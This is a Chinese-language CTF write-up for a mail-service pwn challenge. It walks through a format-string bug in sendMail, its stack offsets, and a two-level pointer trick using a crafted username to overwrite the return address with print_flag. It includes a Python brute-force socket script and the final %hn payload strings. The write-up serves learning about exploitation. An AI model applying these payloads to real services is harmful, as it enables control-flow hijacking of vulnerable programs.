拖入IDA发现符号表没有被strip掉,很容易发现print_flag函数,且该函数没有xref,明确目标是将某返回值修改为此函数。
服务程序会在后台调用数据库接口,从数据库中读取用户名和密码信息,这两项信息是持续存储的,不会在再次连接的时候清空。
f5找漏洞,很快发现在sendMail中有两个printf存在格式化字符串漏洞:
int __cdecl sendMail(int handle, int from_name, char *to_name, char *mail_title, char *mail_body)
{
int result; // eax@5
char mail_body_1[200]; // [sp+20h] [bp-D8h]@4
int sptf_ret; // [sp+E8h] [bp-10h]@4
char title_len; // [sp+EEh] [bp-Ah]@1
char body_len; // [sp+EFh] [bp-9h]@1
puts("Send Mail");
printf("From: %s\n", from_name);
printf("To:");
get_input((int)to_name, 30);
printf("To:");
printf(to_name); //<<<<<<<
putchar('\n');
printf("Title:");
get_input((int)mail_title, 255);
printf("Title:");
printf(mail_title); //<<<<<<<
putchar(10);
printf("Body:");
get_input((int)mail_body, 255);
body_len = strlen(mail_body);
title_len = strlen(mail_title);
if ( (char)(body_len + title_len) > 120 )
{
puts("The body or title is to big");
quit(handle);
}
sprintf(
mail_body_1,
"insert into inbox (fromuser,touser,body) values('%s','%s','Title:%sBody:%s');",
from_name,
to_name,
mail_title,
mail_body);
if ( sptf_ret )
result = puts("Send Mail Error");
else
result = puts("Send Mail OK");
return result;
}
ctrl+k查看堆栈结构,结合nc连上实际实验,可获得几项关键地址
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 handle dd ?
+0000000C from_name dd ?
+00000010 to_name dd ? ; offset
+00000014 mail_title dd ? ; offset
+00000018 mail_body dd ? ; %68$x
- %62$x --> sendMail函数存放的ebp,内容为main帧ebp
- %63$x --> sendMail函数返回值地址
- %64-68$x --> 一系列参数
- %90$x --> main函数存放的ebp
触发漏洞的字符串并没放在栈上,而是放在malloc分配的堆空间中,在栈空间的下方,无法通过%*$的方式访问到,期初用栈缓冲区的构造方法尝试了好久发现SB了,那么要重新寻找构造方法。
%X$n控制符是将显示的字符数存入[X]指向的空间,想要修改返回值,必须有一个指向sendMail存放的返回值的指针,但程序中不可能自行存在,于是需要自行构造两级指针,第一级指针指向sendMail帧存放的返回值,第二级指针指向第一级指针。通过写入一级指针的内容使之指向待修改的返回值,再访问一级指针将返回值改为目标地址(print_flag)。
然后马上想到的两级指针就是ebp链,通过%62$x
得到的main的ebp很容易可以将整个栈空间的地址都摸清楚,然后用%62$n
使%90$x
指向返回值,再用%90$n
就能修改掉返回值。但稍作测试后发现由于栈空间比较高,地址动辄0xbfxxxxxx,要显示这么多字符需花费极大量时间且一般不能成功,最佳方式是用%hn只修改地址的低4位。但%90$x
原值是0,只得放弃,转而寻找其它的两级指针链。
睡了一觉起来之后很快想到如下序列:
lea xxx,yyy
mov ptr[zzz],xxx
转而在sendMail和上层main中找:
.text:08049837 064 mov edx, [esp+48h]
.text:0804983B 064 mov [esp+10h], edx ; body esp+48
.text:0804983F 064 mov edx, [esp+44h]
.text:08049843 064 mov [esp+0Ch], edx ; title esp+44
.text:08049847 064 mov edx, [esp+40h]
.text:0804984B 064 mov [esp+8], edx ; to name esp+40
.text:0804984F 064 lea edx, [esp+30h] ; <<<< THIS
.text:08049853 064 mov [esp+4], edx ; from esp+30
.text:08049857 064 mov [esp], eax ; handle
.text:0804985A 064 call sendMail ; Call Procedure
[esp+4] 指向 esp+30,如果能用%n修改掉[esp+30]的值就能成功使[esp+30]指向返回值,最终劫持eip
这里esp+4
对应%65$x
,esp+30h
对应%76$x
nc尝试,发现%76$x
的内容是用户名,需要注册一个特殊的用户名,名称恰好是某个地址。然后苦逼的地方来了,checksec发现启用nx,栈地址有3个字节会随机变化,除去低4位可以稍后用%65$hn
写入,还有一个字节需要暴力碰撞。由于payload十分简单,只需要填两个数字,可以手动,脚本在跑完栈地址后就简单地循环读写了。
import socket
import time
s = socket.socket()
s.connect(('exploit.alictf.com',55664))
s.send('1\nAA\x86\xbf\n\n') #先注册
s.close()
while True:
s = socket.socket()
s.connect(('exploit.alictf.com',55664))
s.send('2\nAA\x86\xbf\n\n') #撞0xbf86
print s.recv(4096)
print s.recv(4096)
s.send('3\n%62$x\n')
s.recv(1024)
d = s.recv(1024)
print 'd--------->',d
if d.find('bf86') > 0:
break
#time.sleep(0.3)
while True:
ss = raw_input("input-->")
if ss != '\n':
s.send(ss.strip()+'\n')
try:
while True:
d = s.recv(4096)
print d
if d.find('G') >= 0: #出现flag时会有GXGX字样
raw_input('GOT SOMETHING!!!')
except KeyboardInterrupt:
pass
然后两个利用字串为%AAAAc%65$hn
,%35773c%76$hn(0x8048bbd,0x8bbd=35773)